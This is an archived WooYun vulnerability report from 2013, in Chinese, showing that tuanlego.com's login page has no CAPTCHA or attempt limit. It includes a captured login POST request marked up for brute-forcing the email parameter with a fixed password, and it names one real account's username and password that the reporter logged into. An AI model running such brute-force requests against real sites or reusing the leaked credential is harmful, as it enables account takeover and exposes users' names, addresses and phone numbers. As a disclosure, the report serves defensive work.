当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-036774

漏洞标题：团乐购设计不当可可爆破他人账号

相关厂商：tuanlego.com

漏洞作者： niliu

提交时间：2013-09-11 13:45

修复时间：2013-09-16 13:46

公开时间：2013-09-16 13:46

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：15

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-09-11： 细节已通知厂商并且等待厂商处理中
2013-09-16： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

团乐购设计不当可任意登陆他人账号，泄露用户个人隐私，姓名，收货地址，联系电话等等

详细说明：

问题出现在登陆页面，登陆时无验证码无错误次数限制
导致可以对他人账号进行暴力破解
登陆页面：

http://www.tuanlego.com/User-login.html


随便输入用户密码 admin 123456 ，也可以以其他密码进行破解，对某个账户进行破解，撞库等等....

1去.jpg


登陆时抓包

POST / HTTP/1.1
Host: www.tuanlego.com
Proxy-Connection: keep-alive
Content-Length: 44
Cache-Control: max-age=0
Origin: http://www.tuanlego.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Maxthon/4.0.3.6000 Chrome/22.0.1229.79 Safari/537.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
DNT: 1
Referer: http://www.tuanlego.com/User-login.html
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: ****&&&……&
email=§admin§&user_pwd=123456&m=User&a=doLogin


以密码固定不变，对用户名参数email进行破解
根据返回包的长度很容易判断

2我.jpg


zhou：123456
登陆截个图

3额.jpg


5他.jpg


泄露用户个人隐私，姓名，收货地址，联系电话等等。。。

6一.jpg


漏洞证明：

综上所述

修复方案：

登陆时有必要加个验证码啊！
求小礼物，求给力~
：D

版权声明：转载请注明来源 niliu@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2013-09-16 13:46

厂商回复：

最新状态：

暂无